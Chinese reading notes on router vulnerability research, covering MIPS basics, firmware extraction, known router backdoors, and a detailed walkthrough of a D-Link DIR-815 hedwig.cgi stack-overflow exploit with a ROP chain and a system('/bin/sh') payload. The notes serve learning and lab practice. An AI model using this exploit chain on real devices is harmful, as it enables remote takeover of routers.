揭秘家用路由器0day漏洞挖掘技术——读书笔记

Published: by

最初接触《揭秘家用路由器0day漏洞挖掘技术》一书在阅读过程中不得要领,在看到《揭秘家用路由器0day漏洞挖掘技术–读书笔记》一文,对于技术书籍的阅读和笔记记录有了新的体会,这里附上该博文的实践遗迹

第1章 基础准备与工具

  • Linux命令基础

    Busybox、grep、ps、ifconfig、uname

  • 文本编辑器

    nano、vi

  • 编译工具:gcc

    -o 生成二进制代码

    -O、-O2 对程序进行优化编译链接

    -S 生成一个包含汇编指令的文件.s

    -ggdb 产生符号调试工具gdb所需符号

    -static 使用静态库

  • 调试工具:gdb

  • MIPS汇编基础

    • 特殊寄存器

      PC(程序计数器)、HI(乘除结果高位寄存器)、LO(乘除结果低位寄存器)

      在乘法时,HI保存高32位,LO保存低32位。除法时HI保存余数,LO保存商。

    • 通用寄存器

      MIPS体系结构中有32个通用寄存器

编号 寄存器名称 描述
$0 $zero 第0号寄存器,其值始终为0。
$1 $at 保留寄存器(用作汇编器暂时变量)
$2-$3 $v0-$v1 values,保存表达式或函数返回结果,不够时编辑器通过内存完成
$4-$7 $a0-$a3 argument,作为函数的前四个参数,不够的用堆栈处理
$8-$15 $t0-$t7 temporaries,供汇编程序使用的临时寄存器
$16-$23 $s0-$s7 saved values,子函数使用时需先保存原寄存器的值
$24-$25 $t8-$t9 temporaries,供汇编程序使用的临时寄存器,补充$t0-$t7。
$26-$27 $k0-$k1 保留,中断处理函数使用
$28 $gp global pointer,全局指针
$29 $sp stack pointer,堆栈指针,指向堆栈的栈顶
$30 $fp frame pointer,保存栈指针
$31 $ra return address,返回地址
  • 逆向基础

函数一开始对$sp寄存器的操作是为该函数开辟栈空间

addiu   $sp, -0x30

函数开头定义的变量是在栈空间中划分变量空间,后面使用$sp和这些变量名进行计算都是在对栈空间中的变量进行操作。

var_20= -0x20
var_14= -0x14
var_10= -0x10
var_C= -0xC
var_8= -8
var_4= -4

第2章 必备软件与环境

Vmware、python、IDA、IDA插件和脚本(MIPSROP)

binwalk(github上带完整版依赖安装)

qemu:qemu的user和system两种模式使用方法,qemu的system模式下网络配置

gdb-multiarch/gdb: pwndbg插件,gef插件,peda插件,peda-mips插件

交叉编译环境:交叉编译的简单过程如下。(包括busybox、gdb、gdbserver等不同架构的程序都可以在网上找到别人编译好的成果,节省时间。)

  • 下载Buildroot并解压

    https://buildroot.org/downloads/

  • 配置Buildroot

    cd buildroot
    sudo apt-get install libncurses5-dev patch
    make clean
    make menuconfig
    

    修改“Target Architecture”为“MIPS(little endian)”

    修改“Target Architecture Variant”改成“MIPS32”

    Toolchain修改“Kernel Headers”为机器环境的kernel版本

    保存配置

  • 进行编译

    sudo make
    

    编译成功后在buildroot目录下会生成一个output文件夹,其中包含编译好的文件,可以在output/host/usr/bin中找到生成的交叉编译工具mips-linux-gcc

    mips-linux-gcc交叉编译程序的时候通常加-static参数,使程序不依赖动态库。

第3章 路由器漏洞分析高级技能

修复路由器程序运行环境

​ 以DIR-605L的./bin/boa程序为例(见最后)

参考文章——这篇文章中使用的gnu版的编译工具实际中会失败,需要使用buildroot自己编译mips架构的工具链。

  • 根据程序运行报错结合动态调试定位异常函数位置

    #开启动态调试接口
    sudo chroot . ./qemu-mips -g 1234 ./bin/boa
    

    发现是apmib.so库中的apmib_init()、apmib_get()函数造成的,这里要对这两个函数进行劫持,为了使用调试,将fork()函数一并劫持。

  • 编写劫持函数动态库

    在apmib.c文件中编写新的apmib_init()、apmib_get()、fork()函数,直接将函数返回结果或逻辑改成我们想要的结果或者逻辑,并交叉编译成动态库放在根目录下。

    mips-linux-gcc -Wall -fPIC -shared apmib.c -o apmib-ld.so
    
  • 运行测试

    sudo chroot . ./qemu-mips -E LD_PRELOAD="./apmib-ld.so" ./bin/boa
    

IDA反汇编和调试

  • 附加调试

    Debuffer——Attach——Remote GDB debuger——save network settings as default——Debug Option——Events设置中的相应选项(前两项)——Set specific options——OK

  • 运行调试(有更好的符号支撑)

    加载程序进行反汇编分析——设置断点——Debugger——Process Options——设置完整二进制路径和创建的IDA数据库文件完整路径——OK——Debugger——Attach to Process

IDA脚本

  • 执行脚本
    • IDC/python命令行:File——Script Command
    • 脚本文件:File——Script File
    • 最近运行的脚本(双击):View——Recent Scripts
  • IDC语言——与C和C++相似
    • F1查看帮助
    • IDC可以设置全局变量和局部变量,其中全局变量不能定义的时候直接初始值,需要之后赋值
    • Message()函数与C中的printf()函数类似
    • static关键字引入自定义函数
  • IDAPython

    这个可用性比较好

python网络编程

import socket
addr = ('xxx.xxx.xxx.xxx',1234)
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect(addr)
sock.send("Hisello server!\n\nyour name: ")
data = sock.recv(1024)
print('[*]Recv command: ',data)
sock.close()

第三方库:urllib、urllib2、httplib、requests

第4章 路由器web漏洞

  • XSS
  • CSRF
  • 基础认证漏洞:一种特殊的url访问方法实现认证(http://admin:admin@192.168.0.1)

第5章 路由器后门漏洞

  • D-Link路由器后门漏洞

    User Agent String中包含特殊字符串时攻击者可以绕过密码验证直接访问路由器web页面

  • NETGEAR路由器后门漏洞

    NETGEAR DGN2000 Telnet后门未授权,TCP端口32764上监听的Telnet服务部分没有归档

  • Cisco远程特权提升

    TCP端口32764上存在未文档化的调试接口

  • Tenda无线路由器远程命令执行后门

    W330R、W302R,设备收到以字符串w302r_mfg开头的数据包可以以root权限执行任意命令

  • 磊科

    IGDMPTD的程序

第6章 路由器溢出漏洞

  • MIPS堆栈原理

    MIPS32架构函数调用时对堆栈的分配和使用方式与x86架构有相似之处,但又有很大的区别。区别具体体现在:

    • 栈操作:与x86架构一样,都是向低地址增长的。但是没有EBP(栈底指针),进入一个函数时,需要将当前栈指针向下移动n比特,这个大小为n比特的存储空间就是此函数的栈帧存储存储区域。
    • 调用:如果函数A调用函数B,调用者函数(函数A)会在自己的栈顶预留一部分空间来保存被调用者(函数B)的参数,称之为调用参数空间。
    • 参数传递方式:前四个参数通过$a0-$a3传递,多余的参数会放入调用参数空间。
    • 返回地址:在x86架构中,使用call命令调用函数时,会先将当前执行位置压入堆栈,MIPS的调用指令把函数的返回地址直接存入$RA寄存器而不是堆栈中。

    叶子函数:当前函数不再调用其他函数。

    非叶子函数:当前函数调用其他函数。

    函数调用的过程:父函数调用子函数时,复制当前$PC的值到$RA寄存器,然后跳到子函数执行;到子函数时,子函数如果为非叶子函数,则子函数的返回地址会先存入堆栈,否则仍在$RA寄存器中;返回时,如果子函数为叶子函数,则"jr $ra"直接返回,否则先从堆栈取出再返回。

    利用堆栈溢出的可行性:在非叶子函数中,可以覆盖返回地址,劫持程序执行流程;而在非叶子函数中,可通过覆盖父函数的返回地址实现漏洞利用。

  • MIPS缓冲区溢出

    • NOP Sled:MIPS中NOP指令的机器码是0x00000000,使用会产生00阶段,因此使用任意不影响Shellcode执行的指令替代。
    • ROP Chain:将已经存在的代码块拼接起来实现功能。拼接的程序从某个地址到jr $ra指令之间的二进制序列成为gadget。为了使gadget连接起来,需要构造一个特殊的返回栈。
    • shellcode
  • 漏洞利用

    • 劫持PC

    • 确定偏移

      • 大型字符脚本

        #patternLocOffset.py
        # coding:utf-8
        '''
        生成定位字符串:轮子直接使用
        ''' 
        import argparse
        import struct
        import binascii
        import string
        import sys
        import re
        import time
        a ="ABCDEFGHIJKLMNOPQRSTUVWXYZ"
        b ="abcdefghijklmnopqrstuvwxyz"
        c = "0123456789"
        def generate(count,output):
            # pattern create
            codeStr =''
            print '[*] Create pattern string contains %d characters'%count
            timeStart = time.time()
            for i in range(0,count):
                codeStr += a[i/(26*10)] + b[(i%(26*10))/10] + c[i%(26*10)%10]
            print 'ok!'
            if output:
                print '[+] output to %s'%output
                fw = open(output,'w')
                fw.write(codeStr)
                fw.close()
                print 'ok!'
            else:
                return codeStr
            print "[+] take time: %.4f s"%(time.time()-timeStart)
               
        def patternMatch(searchCode, length=1024):
               
           # pattern search
           offset = 0
           pattern = None
               
           timeStart = time.time()
           is0xHex = re.match('^0x[0-9a-fA-F]{8}',searchCode)
           isHex = re.match('^[0-9a-fA-F]{8}',searchCode)
               
           if is0xHex:
               #0x41613141
               pattern = binascii.a2b_hex(searchCode[2:])
           elif isHex:
               pattern = binascii.a2b_hex(searchCode)
           else:
               print  '[-] seach Pattern eg:0x41613141'
               sys.exit(1)
               
           source = generate(length,None)
           offset = source.find(pattern)
               
           if offset != -1: # MBS
               print "[*] Exact match at offset %d" % offset
           else:
               print
               "[*] No exact matches, looking for likely candidates..."
               reverse = list(pattern)
               reverse.reverse()
               pattern = "".join(reverse)
               offset = source.find(pattern)
               
               if offset != -1:
                   print "[+] Possible match at offset %d (adjusted another-endian)" % offset
               
           print "[+] take time: %.4f s" % (time.time() - timeStart)
               
        def mian():
           '''
           parse argument
           '''
           parser = argparse.ArgumentParser()
           parser.add_argument('-s', '--search', help='search for pattern')
           parser.add_argument('-c', '--create', help='create a pattern',action='store_true')
           parser.add_argument('-f','--file',help='output file name',default='patternShell.txt')
           parser.add_argument('-l', '--length', help='length of pattern code',type=int, default=1024)
           args = parser.parse_args()
           '''
           save all argument
           '''
           length= args.length
           output = args.file
           createCode = args.create
           searchCode = args.search
               
           if createCode and (0 <args.length <= 26*26*10):
               generate(length,output)
           elif searchCode and (0 <args.length <=26*26*10):
               patternMatch(searchCode,length)
           else:
               print '[-] You shoud chices from [-c -s]'
               print '[-] Pattern length must be less than 6760'
               print 'more help: pattern.py -h'
               
        if __name__ == "__main__":
           if __name__ == '__main__':
               mian()
              
        

        使用

        #生成字符保存到文件passwd中
        python patternLocOffset.py -c -l 600 -f passwd
        #定位字符
        python patternLocOffset.py -s 0x6E37416E -l 600
        
      • 栈帧分析计算

    • MIPSROP使用

      mipsrop.help()
      mipsrop.system()
      mipsrop.find(instruction_str)
      mipsrop.doubles()
      mipsrop.stackfinders()#使用比较多
      mipsrop.tails()
      mipsrop.summary()
      

第7章 基于MIPS的Shellcode开发

查看系统调用号:/usr/include/mips-linux-gnu/asm/unistd.h中有定义

mips中可使用syscall指令来进行系统调用,调用的方法为:在使用系统调用syscall之前,$v0保存需要执行的系统调用的调用号,并且按照mips调用规则构造将要执行的系统调用参数。syscall调用的伪代码为:“syscall($v0,$a1,$a2,$a3,$a4…)”。

shellcode编码优化包括指令优化和shellcode编码。 指令优化:指令优化是指通过选择一些特殊的指令避免在shellcode中直接生成坏字符。

通常来说,shellcode可能会受到限制:首先,所有的字符串函数都会对“NULL”字节进行限制;其次,在某些处理流程中可能会限制0x0D(\r)、0x0A(\n)、或者0x20(空格)字符;最后,有些函数会要求shellcode必须为可见字符(ascii)或Unicode值。有些时候,还会受到基于特征的IDS系统对shellcode的拦截。

绕过以上限制的方法主要有两个:指令优化及shellcoe编码。后者更为通用。

shellcoe编码通常包含以下三种:base64编码、alpha_upper编码、xor编码。

第8章 路由器文件系统与提取

获取固件和文件系统

下载固件:Dlink文件系统下载

提取固件:从Flash中读取

Squashfs时具有超高压缩率的只读格式文件系统,当进程需要某些文件时,仅将对应部分的压缩文件解压缩。

提取文件系统

  • 查看文件系统类型

file:通过定义的magic签名识别各种格式,但是只能识别是不是某程序,不能判断是否包含某程序,如果前面加入字符只会识别成.data数据文件等

  • 手动判断文件类型,并提取

    • string|grep检索文件系统magic签名头

      #大小端格式两次检索
      strings firmware.bin | grep `python -c 'print "\x28\xcd\x3d\x45"'`
      strings firmware.bin | grep `python -c 'print "\x45\x3d\xcd\x28"'`
      strings firmware.bin | grep 'sqsh'
      strings firmware.bin | grep 'hsqs'
      
      - cramfs:0x28cd3d45
      - squashfs:sqsh、hsqs、qshs、shsq、hsqt、tqsh、sqlz
      
    • hexdump|grep检索magic签名偏移,

      hexdump -C wr940n.bin|grep -n 'hsqs'
      

      从获得的偏移处(转换成十进制的offset)获取100字节的数据,因为squashfs文件系统的头部校验不超过100字节

      #获取数据
      dd if=firmware.bin bs=1 count=100 skip={offset} of=squash
      #查看文件系统类型,并可以看到文件系统的大小size
      file squash
      #提取操作系统
      dd if=firmware.bin bs=1 count=size skip={offset} of=kernel.squash
      #获取压缩方式等更详细的信息,这里filesystems-hsqs是自定义的magic签名文件
      file -m filesystems-hsqs kernel.squash
      
    • 解压文件系统

      • squashfs-tools

        sudo apt-get install squashfs-tools
        
      • firmware-mod-kit

        git clone https://github.com/mirror/firmware-mod-kit.git
        
      • binwalk

        binwalk使用的配置文件、magic签名文件及插件位于Python安装目录的/dist-packages/binwalk/目录下

        • libmagic库:直接扫描文件内存镜像,提高扫描效率,依赖magic签名文件

        • 提取与分析

          #自动扫描
          binwalk firmware.bin
          #显示扫描所有结果
          binwalk -I firmware.bin
          #按照预定义配置文件提取
          binwalk -e firmware.bin
          #根据magic签名结果递归提取
          binwalk -Me firmware.bin
          #限制递归深度
          binwalk -Me -d 5 firmware.bin
          #指定自定义magic签名文件
          --magic
          #文件比较
          binwalk -W firmware1.bin firmware2.bin firmware3.bin
          #通过墒值判断数据是压缩还是加密
          binwalk -H firmware.bin
          
          • magic签名文件的使用和定义
          • 定的新的类型文件提取方式

第9章 漏洞分析简介

exploit-db

漏洞存在于hedwig.cgi的CGI脚本中,未认证的攻击者通过调用这个CGI脚本传递一个超长的Cookie值使程序栈溢出,从而获得路由器远程控制权限。

漏洞分析

  • 固件获取与提取

DLink ftp下载网站上已经没有DIR-815的的固件,可以再官网的技术支持页下载固件DIR-815A1_FW101SSB03.bin

binwalk提取固件

$ binwalk -Me DIR-815A1_FW101SSB03.bin
  • 固件分析

在得到的文件系统squashfs-root中搜索漏洞组件hedwig.cgi,发现该组件是指向cgibin的的符号链接,cgibin是一个MIPS32小端的程序。

$ find -name "hedwig.cgi"
./htdocs/web/hedwig.cgi
$ file ./htdocs/web/hedwig.cgi
./htdocs/web/hedwig.cgi: broken symbolic link to /htdocs/cgibin
$ file ./htdocs/cgibin
./htdocs/cgibin: ELF 32-bit LSB executable, MIPS, MIPS32 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
  • 发现溢出点

用IDA和Ghidra分析cgibin,已经知道漏洞的原因是COOKIES值过长,搜索"cookie"相关字符串,找到字符串HTTP_COOKIE,找到字符串定义aHttpCookie,用IDA快捷键X查找字符串的函数引用,找到引用代码。

.globl sess_get_uid
sess_get_uid:
······
la      $t9, getenv
la      $a0, aHttpCookie  # "HTTP_COOKIE"
jalr    $t9 ; getenv
······

这里是函数sess_get_uid()通过getenv()函数获取"HTTP_COOKIE"的值,查看函数sess_get_uid()的交叉引用看到该函数在hedwigcgi_main+1C0处引用,跟踪到hedwigcgi_main+1C0的位置,看到地址0x409680处有个危险函数sprintf函数的引用,书中判断这个地方可能为栈溢出发生的地方。

.text:00409640                 la      $t9, sess_get_uid
.text:00409644                 nop
.text:00409648                 jalr    $t9 ; sess_get_uid
.text:0040964C                 move    $a0, $s5
.text:00409650                 lw      $gp, 0x4E8+var_4D8($sp)
.text:00409654                 nop
.text:00409658                 la      $t9, sobj_get_string
.text:0040965C                 nop
.text:00409660                 jalr    $t9 ; sobj_get_string  
.text:00409664                 move    $a0, $s5
.text:00409668                 lw      $gp, 0x4E8+var_4D8($sp)
.text:0040966C                 lui     $a1, 0x42
.text:00409670                 la      $t9, sprintf
.text:00409674                 move    $a3, $v0         # from sobj_get_string
.text:00409678                 move    $a2, $s2
.text:0040967C                 la      $a1, aSSPostxml  # "%s/%s/postxml"
.text:00409680                 jalr    $t9 ; sprintf    # may exploit it
.text:00409684                 move    $a0, $s1   

问题

以上内容是书中做出的判断推导,但是在这里我对传入sprintf中的造成溢出的参数$v0来源产生了疑问,主要是函数sess_get_uidsobj_get_string在取cookie值过程中的分别起到的作用。这里大佬可能觉得太简单就没有具体分析,可我头疼了。

sess_get_uid函数的逻辑继续进行分析,发现该函数的主要逻辑是用getenv()函数获取请求包中COOKIE的值,然后对COOKIE值中uid=后面的内容用sobj_add_char函数逐个字符添加到一个结构体中。这里发现sobj_add_charsobj_get_string这两个函数特别像为一个老板服务的,这里sobj_get_string函数就是从结构体中将cookie的关键值取出,再传参到危险函数sprintf函数中造成溢出。(这里用ghidra进行反汇编是会出问题的,比如这里ghidra错误将函数sprintf函数解释成了snprintf函数。)

后来发现Dlink的sobj_xxx系列函数的功能就是用来处理字符串,在网上找到了源码


  • 动态调试

漏洞测试脚本cgi_run.sh

# cgi_run.sh
# sudo bash ./cgi_run.sh  'uid=1234'  `python  -c "print 'uid=1234&password='+'A'*0x600"`
INPUT="$1"
TEST="$2"
LEN=$(echo -n "$INPUT" | wc -c)
PORT="1234"
cp $(which qemu-mipsel-static) ./qemu
echo "$INPUT" | chroot . ./qemu -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencodede" -E SCRIPT_NAME="common" -E REQUEST_METHOD="POST" -E HTTP_COOKIE=$TEST -E REQUEST_URI="/hedwig.cgi" -E REMOTE_ADDR="192.168.33.2" -g $PORT /htdocs/web/hedwig.cgi 2>/dev/null
echo "run ok"
rm -f ./qemu

使用下面的命令运行cgi_run.sh脚本,此时qemu运行hedwig.cgi,并等待gdb连接到端口1234

$ sudo ./cgi_run.sh  'uid=1234'  `python  -c "print 'uid=1234&password='+'A'*0x600"`

1.ubuntu默认的sh是连接到dash的,又因为dash跟bash的不兼容所以出错(unexpected operator),执行时可以把sh命令换成bash 文件名.sh来执行。

2.cp $(which qemu-mipsel-static) ./qemu命令中的$(which ******)部分要根据设备的程序架构情况来修改:用file命令查看bin文件夹中的的程序架构


在192.168.1.1机器上运行gdb-muliarch(安装pwndbg插件方便查看)对程序进行远程动态调试

$ gdb-multiarch -q
> set architecture mips#设置指令架构为mips架构
> set endian little #设置是大小端
> target remote 192.168.33.3:1234 #远程连接调试
> b *0x409680 #再sprintf处设置断点
#sprintf(v27, "%s/%s/postxml", "/runtime/session", v6);
> c
#查看寄存器情况
gdb-peda$ i r
          zero       at       v0       v1       a0       a1       a2       a3
 R0   00000000 fffffff8 0042e718 0042e718 0042e008 0041a860 0041a5b8 0042e718
            t0       t1       t2       t3       t4       t5       t6       t7
 R8   767ab4c8 00000629 fffffff8 ffffffe0 00000000 767ab4e8 fffffffc 0040e98c
            s0       s1       s2       s3       s4       s5       s6       s7
 R16  0042e0f0 76ffe628 0041a5b8 76ffe5a8 76ffe580 0042e008 004023e0 00000000
            t8       t9       k0       k1       gp       sp       s8       ra
 R24  0000000c 004197f0 00000000 00000000 004346d0 76ffe568 0042e028 00409668
            sr       lo       hi      bad    cause       pc
      20000010 0001e78d 0000019e 00000000 00000000 00409680
           fsr      fir
      00000000 00739300
#查看传参情况
gdb-peda$ x/s $a3
0x42e718:       "1234&password=", 'A' <repeats 186 times>...
#继续执行发现$pc被覆盖
gdb-peda$ c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
1: x/10i $pc
=> 0x41414141:  <error: Cannot access memory at address 0x41414140>
gdb-peda$ i r
          zero       at       v0       v1       a0       a1       a2       a3
 R0   00000000 fffffff8 ffffffff 0000004b 76ffe550 00000001 0042e000 00000020
            t0       t1       t2       t3       t4       t5       t6       t7
 R8   767ab4c8 000012c9 00000002 00000024 00000025 00000807 00000800 00000400
            s0       s1       s2       s3       s4       s5       s6       s7
 R16  41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
            t8       t9       k0       k1       gp       sp       s8       ra
 R24  00000008 00000000 00000000 00000000 004346d0 76ffea50 41414141 41414141
            sr       lo       hi      bad    cause       pc
      20000010 0001db02 00000098 41414140 00000000 41414141
           fsr      fir
      00000000 00739300

使用gdb的peda插件生成长度为600的偏移填充字符串写入test中

gdb-peda$ pattern create 2000 test

使用下面的命令运行cgi_run.sh脚本

sudo ./cgi_run.sh 'uid=1234'  `python  -c "print 'uid='+open('test','r').read(2000)"`

再用gdb进行动态调试,结果程序没有崩溃,检查发现并不是所有的字符都作为参数传如printf函数中

gdb-peda$ x/2s $a3
0x42e0f0:       "AAA%AAsAABAA$AAnAACAA-AA(AADAA"
0x42e10f:       ""

这里再;字符处截断了,所以这里不能用peda构造的填充字符计算偏移,这里改用上面的patternLocOffset.py(使用的都是可见字符)脚本生成。

python patternLocOffset.py -c -l 2000 -f test

继续动态调试找到覆盖偏移1043,即再uid=后面跟上1043个字节的填充数据,然后再写入跳转地址。

#传参2000个字符
sudo ./cgi_run.sh 'uid=1234'  `python  -c "print 'uid='+open('test','r').read(2000)"`
#调试运行
gdb-peda$ c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x38694237 in ?? ()
#计算偏移
python patternLocOffset.py -s 0x38694237
[*] Create pattern string contains 1024 characters
ok!
[+] Possible match at offset 1043 (adjusted another-endian)
[+] take time: 0.0017 s
#验证偏移
sudo ./cgi_run.sh 'uid=1234'  `python  -c "print 'uid='+'A'*1025+'B'*16"`

这里一直以为sprintf(v27, "%s/%s/postxml", "/runtime/session", v6);是程序的溢出利用点,继续向下分析才发现下面的程序会创建一个文件/var/tmp/temp.xml,创建成功就会产生调用另外一个sprintf(v27, "/htdocs/webinc/fatlady.php\nprefix=%s/%s", "/runtime/session", v20);函数,由于我们的var目录下没有tmp文件夹,所以会建立失败,就不会触发第二个sprintf函数,溢出是由第一个sprintf函数造成的。但是真机中应该是存在这个目录的,所以会造成二次溢出。

考虑到这个问题,手动在var目录下建立一个tmp文件夹,重新进行偏移定位,发现覆盖偏移发生了变化,通过验证确认先填充1009个填充字符再接跳转地址可以实现对程序流程的劫持。

#动态调试查看覆盖地址
gdb-peda$ c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x68423668 in ?? ()
#确定偏移
$ python patternLocOffset.py -s 0x68423668
[*] Create pattern string contains 1024 characters
ok!

[+] Possible match at offset 1009 (adjusted another-endian)
[+] take time: 0.0016 s
#验证偏移正确性
sudo ./cgi_run.sh 'uid=1234'  `python  -c "print 'uid='+'A'*1010+'B'*16"`
#查看寄存器情况
gdb-peda$ c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x42424241 in ?? ()
gdb-peda$ i r
          zero       at       v0       v1       a0       a1       a2       a3
 R0   00000000 fffffff8 00000000 0000004b 76ffe960 00000001 0042e000 00000020
            t0       t1       t2       t3       t4       t5       t6       t7
 R8   767ab4c8 000016c9 00000002 00000024 00000025 00000807 00000800 00000400
            s0       s1       s2       s3       s4       s5       s6       s7
 R16  41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
            t8       t9       k0       k1       gp       sp       s8       ra
 R24  00000008 00000000 00000000 00000000 004346d0 76ffee60 41414141 42424241
            sr       lo       hi      bad    cause       pc
      20000010 0001dfca 0000003f 42424240 00000000 42424241
           fsr      fir
      00000000 00739300

这里发现寄存器s0~s8,ra的寄存器的值可以操控,从hedwigcgi_main函数的结尾也能够看出来。

漏洞利用

  • 构造rop链

在libc.so.0动态库中找到system函数(0x53200),由于这里的libc.so.0库是动态连接库,需要找到libc.so.0的基地址。

这里我使用gdb插件pwndbg进行动态调试,使用vmmap命令可以看到被调试程序的内存情况:从这里的内存情况可以分析[linker]表示的是链接的第三方库,那么怎么判断哪一个是libc.so.0库呢?我使用了一种最笨的方法,使用调试命令将每个链接库的起始数据打印出来与IDA中显示的libc.so.0库的二进制码进行比较,确定libc.so.0库的基址offset_lib为0x767e9000。

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
  0x400000   0x401000 rwxp     1000 0      /htdocs/web/hedwig.cgi
  0x401000   0x41c000 r-xp    1b000 1000   /htdocs/web/hedwig.cgi
  0x41c000   0x42c000 ---p    10000 1c000  /htdocs/web/hedwig.cgi
  0x42c000   0x42e000 rw-p     2000 1c000  /htdocs/web/hedwig.cgi
0x767e9000 0x767ea000 rwxp     1000 0      [linker]
0x767ea000 0x767ee000 r-xp     4000 1000   [linker]
0x767ee000 0x767fd000 ---p     f000 4000   [linker]
0x767fd000 0x767fe000 r--p     1000 4000   [linker]
0x767fe000 0x767ff000 rw-p     1000 5000   [linker]
0x76ffd000 0x77000000 rw-p     3000 0      [stack]
pwndbg> x/16x 0x767e9000
0x767e9000:     0x464c457f      0x00010101      0x00000000      0x00000000
0x767e9010:     0x00080003      0x00000001      0x00000a00      0x00000034
0x767e9020:     0x00005514      0x50001007      0x00200034      0x00280007
0x767e9030:     0x00110012      0x70000000      0x00000114      0x00000114

这里如果在qemu-system模式虚拟机中运行程序可以直接在虚拟机中用cat /proc/{pid}/maps查看程序链接的动态库,可以参考一篇分析文章

我用gdbserver启动程序查看进程的时候发现问题,初步推断是gdbserver的问题,经过验证下载新的gdbserver可以成功调试程序。

chroot . ./gdbserver 192.168.33.102:1234 ./htdocs/web/hedwig.cgi 
sigprocmask: Invalid argument.

因此system函数所在地址是offset_system=offset_lib+0x53200,然后使用mips插件mipsrop寻找可利用的gadget1=offset_lib+0x159CC

Python>mipsrop.stackfinder()
----------------------------------------------------------------------------------------------------------------
|  Address     |  Action                                              |  Control Jump                          |
----------------------------------------------------------------------------------------------------------------
|  0x0000B814  |  addiu $a1,$sp,0x15C+var_144                         |  jalr  $s1                             |
|  0x0000B830  |  addiu $a1,$sp,0x15C+var_A4                          |  jalr  $s1                             |
|  0x0000DEF0  |  addiu $s2,$sp,0xA0+var_90                           |  jalr  $s4                             |
|  0x00013F74  |  addiu $s1,$sp,0x28+var_10                           |  jalr  $s4                             |
|  0x00014F28  |  addiu $s1,$sp,0x28+var_10                           |  jalr  $s4                             |
|  0x000159CC  |  addiu $s5,$sp,0x14C+var_13C                         |  jalr  $s0                             |
|  0x00015B6C  |  addiu $s2,$sp,0x280+var_268                         |  jalr  $s0                             |
|  0x00016824  |  addiu $s5,$sp,0x15C+var_14C                         |  jalr  $s0                             |
|  0x000169C4  |  addiu $s2,$sp,0x170+var_158                         |  jalr  $s0                             |
#gadget1
#利用下面这段汇编,通过将cmd写到$sp+0x14C+var_13C处,其地址会赋值给$s5,然后作为参数传递给$s0指向的函数地址(我们将$0覆盖成system的地址),就可以实现system(cmd)
.text:000159CC addiu   $s5, $sp, 0x14C+var_13C
.text:000159D0 move    $a1, $s3
.text:000159D4 move    $a2, $s1
.text:000159D8 move    $t9, $s0
.text:000159DC jalr    $t9
.text:000159E0 move    $a0, $s5

因为system函数地址offset_system的低字节是0x00会产生截断,所以我们需要找一段gadget2对保存跳转地址的$s0的进行操作,使其将不含0x00的数值操作成offset_system

Python>mipsrop.find("addiu $s0,1")
----------------------------------------------------------------------------------------------------------------
|  Address     |  Action                                              |  Control Jump                          |
----------------------------------------------------------------------------------------------------------------
|  0x000158C8  |  addiu $s0,1                                         |  jalr  $s5                             |
|  0x000158D0  |  addiu $s0,1                                         |  jalr  $s5                             |
|  0x0002374C  |  addiu $s0,1                                         |  jalr  $fp                             |
|  0x0002D194  |  addiu $s0,1                                         |  jalr  $s5                             |
|  0x00032A98  |  addiu $s0,1                                         |  jalr  $s1                             |
#gadget2
#这段汇编中通过可控的$s5跳转到下一个gadget,这个过程中还会对$s0进行+1操作,通过合格gadget我们就可以将$s0=offset_system-0x1
.text:000158C8                 move    $t9, $s5
.text:000158CC                 jalr    $t9
.text:000158D0                 addiu   $s0, 1

gadget2的地址应该是0x000158C8+offset_lib,下面是用patternLocOffset.py生成的字符串覆盖寄存器的情况

sudo ./cgi_run.sh `python -c "print 'id=1234&password='+open('test','r').read(1200)"`
pwndbg> i r
V0   0x0
*V1   0x4b
*A0   0x76ffe1d0 —▸ 0x767ae4e0 ◂— 0x0
*A1   0x1
*A2   0x42e000 ◂— 0x0
*A3   0x20
*T0   0x767ab4c8 ◂— 0x4b /* 'K' */
*T1   0x1f49
*T2   0x2
*T3   0x24
*T4   0x25
*T5   0x807
*T6   0x800
*T7   0x400
*T8   0x8
 T9   0x0
*S0   0x67423467 ('g4Bg')
*S1   0x36674235 ('5Bg6')
*S2   0x42376742 ('Bg7B')
*S3   0x67423867 ('g8Bg')
*S4   0x30684239 ('9Bh0')
*S5   0x42316842 ('Bh1B')
*S6   0x68423268 ('h2Bh')
*S7   0x34684233 ('3Bh4')
*S8   0x42356842 ('Bh5B')
*FP   0x76ffe6d0 ◂— 0x38684237 ('7Bh8')
*SP   0x76ffe6d0 ◂— 0x38684237 ('7Bh8')
*PC   0x68423668 ('h6Bh')
pwndbg> x/x $sp+0x14c-0x13c
0x76ffe6e0:     0x42336942

使用patternLocOffset.py定位几个点的偏移

#$s0
$ python patternLocOffset.py -s 0x67423467
[*] Create pattern string contains 1024 characters
ok!
[+] Possible match at offset 973 (adjusted another-endian)
[+] take time: 0.0023 s
#$s5
$ python patternLocOffset.py -s 0x42316842
[*] Create pattern string contains 1024 characters
ok!
[+] Possible match at offset 993 (adjusted another-endian)
[+] take time: 0.0030 s
#$ra
$ python patternLocOffset.py -s 0x68423668
[*] Create pattern string contains 1024 characters
ok!
[+] Possible match at offset 1009 (adjusted another-endian)
[+] take time: 0.0006 s
#$sp+0x14C+var_13C
$ python patternLocOffset.py -s 0x42336942
[*] Create pattern string contains 1024 characters
ok!
[+] Possible match at offset 1029 (adjusted another-endian)
[+] take time: 0.0019 s

操控这四个点为下面的值可以形成rop链实现system(command):

$s0=offset_system-0x1=0x7683c1ff

$s5=offset_gadget1=0x767fe9cc

$ra=offset_gadget2=0x767fe8c8

$sp+0x14C+var_13C=command

构造填充字符

#构造字符
'A'*973+0x7683c1ff+'B'*(993-973-4)+0x767fe9cc+'C'*(1009-993-4)+0x767fe8c8+'D'*(1029-1009-4)+command
'A'*973+'\xff\xc1\x83\x76'+'B'*(993-973-4)+'\xcc\xe9\x7f\x76'+'C'*(1009-993-4)+'\xc8\xe8\x7f\x76'+'D'*(1029-1009-4)+'/bin/sh'
#执行命令
